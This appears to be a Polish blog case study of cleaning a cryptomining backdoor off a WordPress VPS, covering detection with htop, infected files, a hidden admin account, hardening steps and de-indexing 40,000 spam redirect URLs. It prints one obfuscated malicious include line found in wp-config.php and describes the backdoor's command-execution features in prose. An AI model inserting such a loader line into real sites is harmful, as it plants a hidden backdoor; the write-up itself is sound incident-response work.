Koparka kryptowalut na VPS – usunięcie malware i zabezpieczenie WP

case study usuwanie malware

Wstęp

Niedawno miałem okazję przeanalizować problem dotyczący ekstremalnego zużycia zasobów procesora (vCPU) na VPS. Okazało się, że zużycie procesora stale utrzymywało się na poziomie 100% przez prawie cały miesiąc, co doprowadziło do tego, że serwer zawiesił się na poziomie wirtualizatora i nikt nie był świadomy tego problemu do momentu, gdy VPS przestał odpowiadać, a strony zwracały błąd 521. Po restarcie serwera, zużycie procesora ponownie wzrosło do maksymalnego poziomu w ciągu zaledwie czterech dni.

W momencie, gdy poznałem szczegóły dotyczące zużycia procesora byłem pewny, że odpowiada za to malware. W tym case study przedstawię proces analizy oraz działania jakie podjąłem w celu zlokalizowania i usunięcia złośliwego oprogramowania odpowiedzialnego za nadmierne obciążenie procesora.

Zapraszam 🙂

Identyfikacja zużycia procesora

W celu zidentyfikowania procesów odpowiedzialnych za nadmierne zużycie zasobów procesora, postanowiłem skorzystać z narzędzia htop1. Na serwerze znajduje się ponad 150 stron i super niepraktyczna okazałaby się ręczna weryfikacja każdej z nich. Z tego powodu, korzystając z uprawnień roota, uruchomiłem htop i przystąpiłem do analizy działających procesów.

Htop umożliwił mi bieżące monitorowanie aktywnych procesów, wyróżniając te, które generowały największe obciążenie zasobów procesora. Dzięki temu mogłem szybko zlokalizować potencjalne sprawcze nadmiernego zużycia vCPU.

Okazało się, że za całe zużyciem procesora odpowiadała tylko 1 strona.

Niestety byłem zmuszony zakryć pewne elementy na obrazie ale główny problem jest wyraźnie widoczny.

Analiza backdoora

Mając wiedzę gdzie można szukać problemu zalogowałem się przez sftp na serwer. W tym celu wykorzystałem program FileZilla i jako że jest mi znana struktura plików wordpress oraz jakie pliki mogą jeszcze być zainfekowane, to bardzo szybko je namierzyłem. Musze jednak przyznać, że w tamtym momencie nie spodziewałem się tak zaawansowanego malware (o tym później) 😉

Pierwszy w oczy rzucił mi się plik options.php, ponieważ nie jest standardowym plikiem wordpress, to postanowiłem sprawdzić co ma w środku. Cały kod był zaciemniony, więc nie mam możliwości (ani czasu) aby próbować zrozumieć działanie. Jednak w kodzie znalazłem takie rzeczy jak:

  1. Zmienna, która służy do dekodowania zaszyfrowanych ciągów znaków w całym kodzie.
  2. Import zmiennych z $_COOKIE i $_POST.
  3. Funkcje do dekodowania i wykonywania otrzymanych poleceń.
  4. Funkcja do wysyłania informacji o wersji PHP na serwer zdalnego atakującego.
  5. Funkcja, która analizuje otrzymane dane, dekoduje je i wykonuje odpowiednie czynności w zależności od polecenia.
  6. Następnie generowany jest klucz $gybsohxd, który jest używany do dekodowania danych.
  7. By na końcu, skrypt przeszukiwał zmienne $_COOKIE i $_POST i wywołał funkcję z punktu 5 dla każdej znalezionej pary klucz-wartość.

W skrócie: Plik wykorzystuje wiele operacji na danych, takich jak XORowanie, serializacja i kodowanie base64 😀

Później kolejny plik content.php, który nie jest standardowym plikiem WP. Krótki kod, nie tak zaawansowany jak poprzedni ale śmiało można stwierdzić, że umożliwiał wykonanie zdalnego kodu na serwerze by na samym końcu przy pomocy funkcji unlink usunąć się z dysku w celu ukrycia śladów działania kodu.

Następnie sprawdziłem index.php – CZYSTY! Doświadczenie mówiło żeby sprawdzić wp-config.php – BINGO! Kolejny zainfekowany plik… oj dużo ich było.

O to co znalazłem na samym początku wp-config.php

$rng5qm = "\x6c/fi\x6ces/wp\x2dcontent/up\x6coads/redux/.9fa1f611.ccss"; $tke5p = $rng5qm; strpos($tke5p, "4ev"); @include_once /* t */ ($tke5p);

Malware rozprzestrzenił się praktycznie na całym wordpressie. Znaleźć można go było w folderach i podfolderach

  • wp-admin
  • wp-includes
  • wp-content

Usuwanie malware

Praktycznie na drugi dzień po restarcie wziąłem się za obserwacje serwera. Czekałem cierpliwie z nadzieją, że w końcu się uaktywni. Miałem podejrzenia ale nie miałem pewności. Wolałem poczekać i udało się, w htop nadzwyczajnie duże skoki zużycia miała jedna ze stron.

Na początku usuwania malware stworzyłem pełną kopię zapasową strony. Następnie, po zidentyfikowaniu i usunięciu złośliwych plików z folderów, których nie mogłem całkowicie usunąć bez ryzyka – motywy, wtyczki czy upload, zdecydowałem się usunąć całe foldery wp-admin i wp-includes. Usunięcie i ponowne wgranie tych folderów jest szybszą metodą niż namierzanie i pojedyncze usuwanie plików.

UWAGA! Moją uwagę zwrócił również plik radio.txt. W środku miał losowy ciąg znaków i liter dużych oraz małych. Wydało mi się to dziwne, więc zacząłem szukać w google. Na Reddit znalazłem informacje, że ten plik należy do malware.

Gdy już miałem pewność, że pozbyłem się wszystkich plików, to przyszedł czas na WordPress. Pierwsze co zrobiłem po zalogowaniu się do kokpitu, to upewnienie się że nie ma dodatkowych kont. Z uprawnieniami administratora istniało konto wp_update-wz8mIN3x. Niestety było zabezpieczone przed usunięciem z kokpitu. Ze względu, że na maszynie nie ma PHPMyAdmin, to do pliku functions.php napisałem kod, który od razu usuwa konto. Po usunięciu konta od razu usunąłem kod.

Dlaczego nie skorzystałem i nie polecam dedykowanych wtyczek do bezpieczeństwa? Często te wtyczki same są potencjalnym zagrożeniem. Taki plugin działa tylko na poziomie PHP, czyli w momencie gdy żądanie dotrze do serwera. Gdy backdoor jest już na serwerze, to taki plugin poza zaznaczeniem plików nic więcej nie pokaże. Taka wtyczka może być dobre przeciwko script kiddie2 i złym botom. Poza tym taka wtyczka gdy jest włączona, to ciągle zżera zasoby serwera. Także nie istnieje coś takiego jak wtyczka typu „zainstaluj i zapomnij, bo wszystko będzie dobrze„.

Profilaktycznie do sprawdzenia została tylko baza danych. Zrobiłem kopię bazy danych i zaimportowałem na localhost przy pomocy XAMPP. Tam bardzo wygodnie i bezpiecznie użyłem PHPMyAdmin szukając dziwnych i nie pasujących do schematu rekordów. Znalazłem coś takiego

obraz przedstawiający fałszywą licencję malware w bazie danych

Identyczny ciąg znaków znajdował się w pliku radio.txt, a po wyguglowaniu „tej licencji” pojawiły się nowe wzmianki, także znalazłem dziada 🙂

Zabezpieczenie i aktualizacja

Po usunięciu złośliwego oprogramowania z serwera i felernego konta admina, przystąpiłem do aktualizacji wersji PHP z 7.4 do 8.3. Po przeprowadzeniu tej aktualizacji dokładnie sprawdziłem, czy strona działa prawidłowo, ponieważ czasami aktualizacja PHP może powodować problemy z działaniem witryny, np. błędy krytyczne, wyświetlanie błędów lub ostrzeżeń, etc. Na szczęście w tym konkretnym przypadku obyło się bez problemów 🙂

Najnowszy WordPress został wgrany bezpośrednio na serwer zaraz po usunięciu /wp-admin/ oraz /wp-includes/. W między czasie wymieniłem tajne klucze i sole w pliku wp-config.php, które są wykorzystywane do zwiększenia bezpieczeństwa hasła użytkowników oraz zapewnienia bezpiecznego przesyłania danych uwierzytelniających w procesie logowania do panelu administracyjnego WordPressa, co pomaga w zapobieganiu atakom hakerskim i zwiększa ogólny poziom bezpieczeństwa WP.

Kolejnym krokiem było usunięcie zbędnych wtyczek, a pozostałe zaktualizowałem (niektóre miały kilka wersji w dół). Analogiczna sytuacja z motywem. Dostępnych do włączenia ale nieużywanych było kilka motywów, więc usunąłem wszystkie zostawiając tylko używany i jeden domyślny. Po sprawdzeniu czy są aktualizacje używanego motywu, okazało się że motyw płatny ale bez wsparcia. Po konsultacjach postanowiłem wymienić obecny na inny lżejszy motyw i wspierany od lat.

W folderach /wp-content/uploads/ zablokowałem możliwość wykonywania skryptów PHP. Zmieniłem również domyślny adres logowania do kokpitu i zablokowałem protokół XML-RPC, który jest przestarzały. Enumeracja użytkowników została zablokowana. Profilaktycznie hasła do używanych kont zostały zmienione, a baza danych permanentnie wyczyszczona ze zbędnych wpisów i pozostałości po usuniętych wtyczkach. Wliczając w to wcześniej wspomnianą „licencję”.

Zauważyłem też, że na początku ten wirus infekował plik index.php i wp-config.php, a następnie bloki związane z komentarzami. Postanowiłem więc pozbyć się ze strony permanentnie komentarzy. Zablokowałem komentowanie i usunąłem formularze z komentarzami.

Doinstalowałem plugin do sanityzacji SVG, ponieważ we wtyczkach był m.in jeden wykorzystujący klasę WP_Duotone – oczywiście z zaciemnionym kodem. Jakiś czas temu napisałem artykuł o tym jaki wpływ na SEO i bezpieczeństwo strony mają pliki SVG – także serdecznie polecam 🙂

Sprawdziłem również cron:

  • serwerowy
  • strony
  • wordpress

By uniknąć ponownej automatycznej instalacji malware na serwerze. Następnie przy pomocy htop ubiłem wszystkie procesy zainfekowanej strony aby żaden „na lewo” nie był uruchomiony. Zablokowałem też adresy IP z poziomu serwera, które próbowały uzyskać dostęp przy pomocy narzędzi wykorzystujących luki w PHP Shell.

Dzięki takiemu zestawowi działań udało mi się oczyścić serwer i bazę z malware oraz zadbać o aktualność wszystkich elementów witryny. Co pozwoliło przywrócić jej stabilność oraz zminimalizować ryzyko przyszłych ataków.

Dziesiątki tysięcy zaindeksowanych złych linków

Po całkowitym usunięciu malware, zabezpieczeniu i aktualizacji przyszedł czas na sprawdzenie zaindeksowanych stron oraz pozbycie się tych, które de facto nie należą do strony.

Z pomocą przyszedł kod 403. Co to jest HTTP 403? To kod stanu HTTP oznaczający, że dostęp do żądanego zasobu jest zabroniony. Serwer zrozumiał żądanie, ale zasób jest zabroniony i nie możliwy do wyświetlenia.

Zwróciłem uwagę, że każda z ponad 40,000 zaindeksowanych podstron ma ten sam schemat, zaczynający się od /?w= , czyli:

  • strona.pl/artykuł/?w=dd-OoVpx4h9
  • strona.pl/?w=d-LMqvq8cP

Po wejściu w taki link tworzyło przekierowanie do różnych zagranicznych stron, fake sklepów ale też normalnych jak aliexpress. Strony miały różne języki, przeważnie chiński ale zdarzały się też treści hinduskie, angielskie, a nawet koreańskie. Ustawiłem więc 403 z regexem dla wszystkich adresów gdzie było /?w= .

Dlaczego 403, a nie 404 lub 410? Googlebot 404 i 410 traktuje prawie tak samo. Prawie ponieważ 410 wyindeksowuje lekko szybciej w stosunku do 404. Ustawiłem 403 gdyż chciałem całkowicie odciąć się od tych podstron i przekierowań. Uznałem, że to jest najlepsza opcja w tym konkretnym przypadku. Po 2 tygodniach wyindeksowało ponad 90%, więc wynik całkiem miły. W normalnych okolicznościach użyłbym 404/410.

Opis złośliwego skryptu

Jestem prawie pewny, że winowajcą była tu dziura we wtyczce Gutenberg Template Library & Redux Framework (CVE-2021-38312). Chociaż nie wykluczam innych rzeczy, po prostu zbyt dużo możliwości. Właściwie pierwszy raz spotkałem się ze skryptem, który zmienia adresy logowania, a dodatkowo:

  1. Cron był ustawiony na pobieranie skryptu, czyli sam się ściągał za każdym razem gdy brakowało plików
  2. Cron był też ustawiony na kopanie kryptowalut oraz indeksowanie linków afiliacjnych
  3. Blokował dostęp do kokpitu przez /wp-admin/ zmieniając codziennie, a nawet 2x dziennie adres logowania. Gdy już udało się zalogować przez /wp-login.php to wyświetlał białą stronę dla wszystkiego, co miało w adresie /wp-admin/
  4. Z tego co zauważyłem była też możliwość ręcznej zmiany adresu logowania
  5. Wszystkie adresy logowania były zapisane (całkiem sprytnie!) w pliku sitemap.xml, no kto by podejrzewał plik mapy witryny 😉
  6. Do tego wszystkiego skrypt sam się roznosił i modyfikował wordpressowe pliki

Pierwsze dni tego malware na serwerze zaczęły się objawiać 15.11.2023, a usunąłem go 26.02.204. Jak to możliwe, że przez taki okres nikt tego nie zauważył? Po prostu nie był aktywny. Gdzieś w okolicy 20 listopada nastąpiło wysokie zużycie procesora, ramu i aktywności dysku – taka korelacja nie jest normalna w moim mniemaniu.

case study malware

Od początku grudnia malware „siedział” sobie cicho na serwerze, w tym czasie powoli rozprzestrzeniając się i modyfikując pliki. W lutym uruchomił się na dobre, co z resztą widać na poniższym obrazie

Jakieś podrygi były, próbował się reanimować ale nie ma tak dobrze, ostatecznie ubity! 🙂

Podsumowanie

Usunięcie tego i upewnienie się, że więcej nie pojawi zajęło kilka godzin. Jesteśmy już kilka dni po „leczeniu” i wygląda na to, że wszystko jest dobrze. Sytuacja z maszyną się unormowała. Nie rozpisując się, o to kroki jakie powinny być zachowane:

  1. Regularne backupy, najlepiej trzy wersje do tyłu (fajnie że hosting robi ale warto mieć swoje, chociażby na dysku google)
  2. Korzystanie tylko z potrzebnych wtyczek
  3. Aktualizowanie wtyczek, motywu i wordpressa
  4. W miarę możliwości korzystanie z nowszych wersji PHP
  5. Blokada wykonywania skryptów PHP w /wp-content/uploads/
  6. Wyłączenie protokołu XML-RPC
  7. Zmiana domyślnego adresu logowania z /wp-admin/ na /jakis-customowy-adres/
  8. Nieużywanie loginu „admin” i pokrewnych, np. admin2024
  9. Korzystanie z mocnych haseł (12 znaków minimum)

To taka podstawa, która w większości przypadków wystarczy. W miarę możliwości:

  • Blokowanie IP adresów, które wykazują podejrzane zachowanie
  • Ograniczenie liczby prób logowania do panelu administracyjnego
  • Unikanie instalacji wtyczek i motywów z nieznanych źródeł (tzw. nulled)
  • Zablokowanie enumeracji

Jednak to tylko środki zaradcze i żeby zabezpieczyć stronę, to trzeba do każdej podejść indywidualnie. Każda strona może mieć swoje unikalne słabości.

Odpowiadając na możliwe pytania: to nie była moja strona 😀


htop1 – program wyświetlający informacje o aktualnym obciążeniu systemu przez poszczególne procesy działający w konsoli systemu Unix. Źródło: https://pl.wikipedia.org/wiki/Htop

script kiddie2 – niedoświadczony cracker, który używa programów i skryptów napisanych przez innych bez znajomości zasad ich działania. Źródło: https://pl.wikipedia.org/wiki/Script_kiddie